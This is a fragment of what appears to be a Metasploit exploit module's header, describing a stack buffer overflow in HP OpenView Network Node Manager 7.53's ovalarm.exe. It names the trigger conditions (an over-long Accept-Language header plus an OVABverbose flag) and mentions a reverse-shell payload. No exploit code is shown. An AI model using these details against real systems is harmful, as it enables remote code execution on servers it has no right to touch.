'Name' => 'HP OpenView Network Node Manager ovalarm.exe CGI Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in HP OpenView Network Node Manager 7.53.  
By sending a specially crafted CGI request to ovalarm.exe, an attacker can execute  
arbitrary code.  
  
This specific vulnerability is due to a call to "sprintf_new" in the "isWide"  
function within "ovalarm.exe". A stack buffer overflow occurs when processing an  
HTTP request that contains the following.  
  
1. An "Accept-Language" header longer than 100 bytes  
2. An "OVABverbose" URI variable set to "on", "true" or "1"  
  
The vulnerability is related to "_WebSession::GetWebLocale()" ..  
  
NOTE: This exploit has been tested successfully with a reverse_ord_tcp payload.
